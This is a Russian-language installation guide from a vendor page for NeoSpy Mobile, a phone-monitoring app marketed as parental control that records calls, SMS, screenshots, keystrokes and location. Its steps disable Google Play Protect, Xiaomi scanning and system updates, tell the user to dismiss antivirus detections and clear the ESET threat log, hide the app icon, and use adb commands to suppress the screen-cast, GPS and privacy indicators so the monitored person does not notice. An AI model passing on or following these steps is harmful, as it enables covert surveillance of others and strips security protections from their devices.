You are using an outdated browser. For a faster, safer browsing experience, upgrade for free today.

Установка и настройка программы NeoSpy

Выберите марку вашего телефона, от этого зависят параметры настройки

Видеоинструкция по установке программы на большинство моделей телефонов

Настройка телефона перед установкой

В связи с последним обновлением политики Google (запрет на доступ к смс и журналу звонков), NeoSpy нельзя скачать в официальном магазине Play Маркет, но вы можете установить программу по инструкции на этой странице.

Play Market может удалять приложения, установленные вручную, а не через официальный магазин Google. Чтобы этого избежать, необходимо перед установкой отключить функцию Play Защита.

Для отключения данной опции откройте приложение Play Маркет, нажмите на иконку вашего аккаунта справа вверху около строки поиска, в меню выберите пункт "Play Защита", затем шестеренка справа вверху, и отключите пункты "Сканирование приложений" и "Помочь улучшить защиту".

После отключения Play Защиты поставьте галочку "Play Защита отключена", скачайте приложение и перейдите к следующему шагу инструкции.

Для телефонов Xiaomi также рекомендуется отключить сканирование приложений, так как в виду специфических функций родительского контроля (получение скриншотов, смс, звонков) встроенный антивирус может блокировать работу программы.
Откройте на смартфоне Xiaomi приложение "Безопасность";
Теперь откройте значок шестеренки в правом верхнем углу дисплея;
Выберите пункт "Антивирус" или "Проверка безопасности";
Теперь снимите флажок "Проверять перед установкой".



Загрузите NeoSpy Mobile, нажав кнопку "Скачать"
Скачать
Скачать со второго сервера


Если у вас не получилось загрузить файл по основной ссылке, вы можете воспользоваться зеркалами загрузки
Зеркало #1
Зеркало #2
Предыдущие версии

Установка программы

1) Если возник запрос "Открыть с помощью приложения", выберите "Установщик пакетов".

2) Запустите загруженный файл neospy.apk, нажав на него вверху в шторке телефона. Если появляется запрос об установке из неизвестных источников, выберите "Настройки" - "Разрешение" и разрешите установку.
После разрешения вернитесь назад и снова запустите файл neospy.apk, либо заново загрузите его и нажмите на него вверху в шторке.
После установки вы можете вернуть данную настройку (запретить неизвестные источники) для повышения безопасности устройства.

Некоторые антивирусные программы в силу специфических функций NeoSpy могут определять файл как "потенциально опасное ПО" или "угрозу безопасности".
Если ваш антивирус определяет программу NeoSpy как потенциально опасный объект, нажмите "Пропустить" или "Всё равно установить", настроить антивирус можно позже.

3) После установки программы нажмите "Открыть", появится диалог "Прекратить оптимизацию расхода заряда?", разрешите не ограничивать расход, иначе приложение будет работать нестабильно.
Также, для корректного сбора данных нужно разрешить приложению "NS Cloud" доступ к другим функциям, таким как получение местоположения, смс, звонков и так далее.

4) Подтвердите, что вы устанавливаете программу на личный телефон или телефон вашего несовершеннолетнего ребёнка

5) Создайте логин и подключите устройство к аккаунту

6) При включении записи звонков выберите способ записи "MIC", если при этом не будет слышно собеседника в записях, попробуйте выбрать "VOICE_REC".
После выбора способа записи нажмите "Открыть настройки" - в меню найдите "Больше загруженных сервисов" или "Установленные службы" и включите NS Cloud: Запись звонков. Затем вернитесь назад и сохраните настройки сервиса записи.


7) Если вы включаете скриншоты в настройках программы, нажмите внизу "Запуск" и установите пункт "Не спрашивать больше" во всплывающем сообщении "Приложение получит доступ к изображению на экране устройства".

На телефонах Xiaomi данный пункт существует, но текст не отображается. Поэтому нужно просто нажать на пустом белом поле под надписью "Приложение получит доступ к изображению на экране устройства". При этом появится ранее невидимая галочка.

8) Если вы включили опции "Приложения" или "Клавиатура" в программе, то нужно разрешить доступ к клавиатуре и приложениям для процесса "NS Cloud".
Для этого зайдите в телефоне в "Настройки" - "Специальные возможности" - "Установленные службы" и включите "NS Cloud: Мониторинг клавиатуры" и "NS Cloud: Мониторинг открытых приложений".

9) Примените настройки и задайте пароль администратора

10) Откройте Play Маркет, меню слева вверху - "Мои приложения и игры" - закройте уведомление "Включите проверку приложений".

Перейдите на телефоне в "Настройки" - "Приложения" ("Все приложения") - Поиск (лупа) - введите "Play" и выберите "Сервисы Google Play" - затем внизу выключите опции "Уведомления", "Всегда вверху" и "Изменение системных настроек", если там есть эти опции.

Затем так же перейдите на телефоне в "Настройки" - "Приложения" - Поиск - введите "Play" и выберите "Google Play Маркет" - затем внизу выключите опцию "Изменение системных настроек" (должно быть запрещено). Этой опции может не быть в Андроид 9.
Откройте так же пункт "Уведомления" - выключите опции "Обслуживание" и "Безопасность и ошибки".



Если не выполнить данные действия, система сама включит Play Защиту через некоторое время и может удалить все приложения, установленные вручную.

Ещё рекомендуется отключить обновления системы, так как при обновлении параметры для системных приложений будут сброшены.

Для отключения обновлений:

10.1) Перейдите на телефоне в "Настройки", пролистайте меню вниз (на Xiaomi этот пункт наоборот в самом верху) и откройте раздел "О телефоне" - "Система" либо "Обновление ПО". На Xiaomi "Обновление системы" - три точки справа вверху - "Настройки".
На Huawei и Honor в "Настройки" - "Система и обновления" - "Обновление ПО" - шестеренка справа вверху. Выключите пункты "Автозагрузка по Wi-Fi", и если есть, такие пункты, то "Загружать через мобильный интернет" и "Обновлять автоматически".

10.2) Перейдите на телефоне в "Настройки", пролистайте меню вниз (на Xiaomi этот пункт наоборот в самом верху) и откройте раздел "Сведения о телефоне" - "Сведения о ПО" (на Huawei и Honor "Настройки" - "О телефоне"), найдите строку «Номер сборки» и нажмите по ней 6 раз. Теперь вы в режиме разработчика.
Вернитесь в настройки и в разделе «Параметры разработчика» (на Huawei "Настройки" - "Система и обновления" - "Для разработчиков") ищем пункт «Автообновление системы» или "Автоматические обновления системы" и отключаем.

На Xiaomi нужно нажать 6 раз по пункту "Версия MIUI".
Затем вернитесь в настройки и в разделе "Расширенные настройки" - "Для разработчиков" ищем пункт «Автоматические обновления системы» и отключаем.

Настройка телефона

1) Перейдите на телефоне в "Настройки" - "Приложения" - Поиск (лупа) - введите "Play" и выберите "Google Play Маркет" - затем внизу "Уведомления" - выключите опции "Обслуживание" и "Безопасность и ошибки".

В Андроид 10 и выше значок программы скрыть невозможно, но вы можете вручную перенести значок "NS Cloud", например, в папку с системными программами, чтобы ваш ребёнок не удалил новое установленное приложение.
При нажатии на значок программа будет запрашивать пароль.
Также вы можете установить из Play Market сторонний лаунчер и в нём скрыть иконку. Например, Microsoft Launcher

2) На версии Андроид 9 время от времени может появляться уведомление, что определенная программа имеет доступ к камере или микрофону.
Чтобы отключить эти уведомления, зайдите в Настройки телефона - "Биометрия и безопасность" - "Контроль использования разрешений" - Найдите приложение "NS Cloud" и отключите для него контроль.

3) Если вы включили сразу несколько модулей слежения (галочки в настройках программы) или частые скриншоты, это повысит расход аккумулятора телефона и Андроид выдаст уведомление о высоком расходе заряда.
Чтобы отключить эти уведомления, зайдите в Настройки телефона - "Обслуживание устройства" - "Батарея" - Три точки - "Настройки" - "Уведомления" - отключите.

4) Последние версии Андроид могут автоматически выключать приложения, которые находятся в памяти телефона долгое время. Чтобы предотвратить это, нужно выполнить следующее:
- Настройки телефона - "Обслуживание устройства" - Три точки - "Автоматическая оптимизация" - отключите.
- Настройки телефона - "Обслуживание устройства" - "Батарея" - Три точки - "Настройки" - "Перевод в режим сна" - отключите.
- Настройки телефона - "Обслуживание устройства" - "Батарея" - Три точки - "Настройки" - "Автоотключение приложений" - отключите.

Если вверху в шторке устройства отображается уведомление программы о контроле "NS Cloud", и вам оно мешает работать с телефоном, вы можете смахнуть это уведомление направо и нажать шестеренку - после этого сами выбрать включить или выключить уведомления от программы.

Настройка скриншотов в Андроид 10, 11


Если при запуске сервиса скриншотов у вас отображается уведомление "Начать трансляцию?" или "Раскрытие личной информации", вам необходима дополнительная настройка телефона для того, чтобы отключить это уведомление после перезагрузки.

Вам потребуется компьютер или ноутбук с Windows, рекомендуется версия Windows 10.

1) Откройте на телефоне Настройки - Параметры разработчика - Отладка по USB - включите.
На Xiaomi Настройки - Расширенные настройки - Для разработчиков - "Отладка по USB" - включите и второй пункт "Отладка по USB (настройки безопасности)" - включите. Требуется включенный интернет и учётная запись Mi.

Что делать, если нет пункта "Параметры разработчика"?
В таком случае нужно включить режим разработчика на телефоне, для этого зайдите в Настройки - Сведения о телефоне - Сведения о ПО (на Huawei, Honor, Xiaomi "Настройки" - "О телефоне"), найдите строку «Номер сборки» и нажмите по ней 6 раз. Теперь вы в режиме разработчика. На Xiaomi нужно нажать 6 раз по пункту "Версия MIUI".

2) Подключите телефон к компьютеру через шнур USB, разблокируйте экран и разрешите отладку по USB на экране телефона (В шторке сверху "Режим работы USB" - "Передача файлов/Android Auto")

3) Загрузите на компьютер последнюю версию инструментов adb по ссылке https://dl.google.com/android/repository/platform-tools-latest-windows.zip
Нажмите "Сохранить файл", затем откройте загрузки и нажмите по архиву правой кнопкой мыши - "Извлечь всё".

4) Зайдите в папку после извлечения и зажав на клавиатуре Shift, нажмите правой кнопкой мыши по папке "platform-tools", затем во всплывающем меню выберите "Открыть окно команд" или "Открыть окно PowerShell здесь". Откроется командная строка.

5) Введите в командной строке ".\adb start-server" без кавычек - затем Enter. Должен запуститься сервер adb, в командной строке будет указано что-то подобное "* daemon started successfully".
Если возникла ошибка "Запуск программы невозможен, так как на компьютере отсутствует api-ms-win-crt...dll", попробуйте установить Visual C++ Redistributable

6) Введите в командной строке ".\adb devices" - затем Enter. В списке устройств будет ваш телефон со статусом "unauthorized" (не авторизован). Чтобы авторизовать его, разблокируйте экран телефона и нажмите в окне запроса доступа "Разрешить".
Если телефона нет в списке вообще, отправьте следующие команды
6.1) ".\adb kill-server" - Enter
6.2) ".\adb start-server" - Enter
6.3) Затем отключите и снова включите отладку по USB на телефоне в Параметрах разработчика
6.4) ".\adb devices" - Enter
6.5) На экране телефона во всплывающем окне нажмите "Разрешить".

Не появляется устройство в списке?
- Попробуйте использовать Windows 10
- Попробуйте установить драйвера
Универсальный драйвер adb UniversalAdbDriverSetup.msi
Для Xiaomi Xiaomi Adb driver (запустите и нажмите в меню Driver, после установки закройте эту программу)

7) Введите в командной строке ".\adb shell appops set com.nsmon.guard PROJECT_MEDIA allow" - затем Enter
Настройка закончена.

Если возникает ошибка, например, "Error: No UID for com.nsmon.guard in user 0", попробуйте использовать следующую инструкцию настройки через программу Shizuku

7.1) Загрузите и установите приложения "Shizuku" и "App Ops" для управления дополнительными правами Андроид
Загрузить Shizuku
Загрузить App Ops

Или откройте Play Маркет на телефоне и введите в поиск "Shizuku", скачайте и установите, затем так же введите в поиск "App Ops - Permission manager" и установите.
7.2) Запустите на телефоне приложение "Shizuku".

В командной строке на компьютере введите команду (можно просто скопировать эту строку)
.\adb shell sh /data/user_de/0/moe.shizuku.privileged.api/start.sh

Затем введите вторую команду
.\adb shell sh /sdcard/Android/data/moe.shizuku.privileged.api/start.sh

Если всё прошло успешно, приложение Shizuku начнёт отображать уведомление "Shizuku запущен"

7.3) Откройте пункт "Авторизировано 0 приложений" в Shizuku и включите пункт App Ops, затем откройте приложение "App Ops" и выберите "Shizuku mode", внизу нажмите "Продолжить". В списке выберите NS Cloud и пролистайте до опции "Медиа-проекты" (PROJECT_MEDIA), выберите её, затем нажмите "Разрешить".

Скрытие системных значков в шторке


Необходима дополнительная настройка телефона, если возникает значок "Трансляция" в шторке при создании скриншотов или значок "GPS", и вы опасаетесь, что ваш ребёнок из-за него отключит программу.


1) Загрузите и установите приложение "SystemUI Tuner" для управления дополнительными правами Андроид
Загрузить SystemUI Tuner
Или откройте Play Маркет на телефоне и введите в поиск "SystemUI Tuner", скачайте и установите.

Если вы уже настраивали телефон по инструкции для скриншотов, то просто отправьте аналогичным образом команду
.\adb shell pm grant com.zacharee1.systemuituner android.permission.WRITE_SECURE_SETTINGS

Затем запустите SystemUI Tuner, откройте пункт Status Bar ("Взаимодействия" - "Строка состояния" - "Черный список иконок" - "Общее") и выключите значок Cast ("Трансляция"), после этого значок снимка экрана больше не будет появляться вверху экрана. По желанию вы можете также выключить значок GPS ("Местоположение"), чтобы он не горел при получении координат.

Отключите телефон от компьютера. Настройка закончена.
Если вы не настраивали подключение по инструкции для скриншотов, то следуйте данной инструкции.

Вам потребуется компьютер или ноутбук с Windows, рекомендуется версия Windows 10.

2) Откройте на телефоне Настройки - Параметры разработчика - Отладка по USB - включите.
На Xiaomi Настройки - Расширенные настройки - Для разработчиков - "Отладка по USB" - включите и второй пункт "Отладка по USB (настройки безопасности)" - включите. Требуется включенный интернет и учётная запись Mi.

Что делать, если нет пункта "Параметры разработчика"?
В таком случае нужно включить режим разработчика на телефоне, для этого зайдите в Настройки - Сведения о телефоне - Сведения о ПО (на Huawei, Honor, Xiaomi "Настройки" - "О телефоне"), найдите строку «Номер сборки» и нажмите по ней 6 раз. Теперь вы в режиме разработчика. На Xiaomi нужно нажать 6 раз по пункту "Версия MIUI".

3) Подключите телефон к компьютеру через шнур USB, разблокируйте экран и разрешите отладку по USB на экране телефона (В шторке сверху "Режим работы USB" - "Передача файлов/Android Auto")

4) Загрузите на компьютер последнюю версию инструментов adb по ссылке https://dl.google.com/android/repository/platform-tools-latest-windows.zip
Нажмите "Сохранить файл", затем откройте загрузки и нажмите по архиву правой кнопкой мыши - "Извлечь всё".

5) Зайдите в папку после извлечения и зажав на клавиатуре Shift, нажмите правой кнопкой мыши по папке "platform-tools", затем во всплывающем меню выберите "Открыть окно команд" или "Открыть окно PowerShell здесь". Откроется командная строка.

6) Введите в командной строке ".\adb start-server" без кавычек - затем Enter. Должен запуститься сервер adb, в командной строке будет указано что-то подобное "* daemon started successfully".

7) Введите в командной строке ".\adb devices" - затем Enter. В списке устройств будет ваш телефон со статусом "unauthorized" (не авторизован). Чтобы авторизовать его, разблокируйте экран телефона и нажмите в окне запроса доступа "Разрешить".
Если телефона нет в списке вообще, отправьте следующие команды
7.1) ".\adb kill-server" - Enter
7.2) ".\adb start-server" - Enter
7.3) Затем отключите и снова включите отладку по USB на телефоне в Параметрах разработчика
7.4) ".\adb devices" - Enter
7.5) На экране телефона во всплывающем окне нажмите "Разрешить".

Не появляется устройство в списке?
- Попробуйте использовать Windows 10
- Попробуйте установить драйвера
Универсальный драйвер adb UniversalAdbDriverSetup.msi
Для Xiaomi Xiaomi Adb driver (запустите и нажмите в меню Driver, после установки закройте эту программу)

8) Введите в командной строке ".\adb shell pm grant com.zacharee1.systemuituner android.permission.WRITE_SECURE_SETTINGS" - затем Enter

9) Запустите SystemUI Tuner, откройте пункт Status Bar ("Взаимодействия" - "Строка состояния" - "Черный список иконок" - "Общее") и выключите значок Cast ("Трансляция"), после этого значок снимка экрана больше не будет появляться вверху экрана. По желанию вы можете также выключить значок GPS ("Местоположение"), чтобы он не горел при получении координат

10) Отключите телефон от компьютера. Настройка закончена.


В Андроид 10 и старше откройте Настройки - Конфиденциальность - Защита конфиденциальных данных - Отключите.
Настройки - Конфиденциальность - Защита конфиденциальности - NS Cloud - выключите.
После подключения устройства всю информацию вы можете просматривать в вашем аккаунте

Работа с другими программами

Eset Nod32 Mobile Security

Если антивирус Nod32 отображает уведомление о потенциально опасной программме, то во время установки пропустите это уведомление. А после установки зайдите в Nod32, в окне "Обнаружено угроз" - нажмите "Подробности", нажмите на "Android/Monitor.NeoSpy.G" - три точки справа вверху - "Пропустить". Затем нажмите на вторую запись "Android/Monitor.NeoSpy.G" - три точки справа вверху - "Пропустить". Вернитесь назад в главное окно антивируса, пролистайте вниз к "Журналу действий" - "Полный отчет" - три точки справа вверху - "Очистить все".


Adguard

Программа Adguard может блокировать работу, поэтому рекомендуется либо добавить приложение "NS Cloud" в исключения, либо удалить Adguard.

Удаление программы

Для удаления NeoSpy Mobile зайдите в "Настройки" - "Приложения" - "Управление приложениями", выберите приложение "NS Cloud" и нажмите "Удалить". После этого родительский контроль телефона более осуществляться не будет.

Если кнопка "Удалить" недоступна, значит вы добавили программу в "Администраторы устройства".
Зайдите на телефоне в Настройки - введите в поиске - "Администратор" и выберите "Администраторы устройства" или "Приложения администратора устройства".
Отключите NS Cloud в списке администраторов устройства и удалите его через "Настройки" - "Приложения" - "Управление приложениями".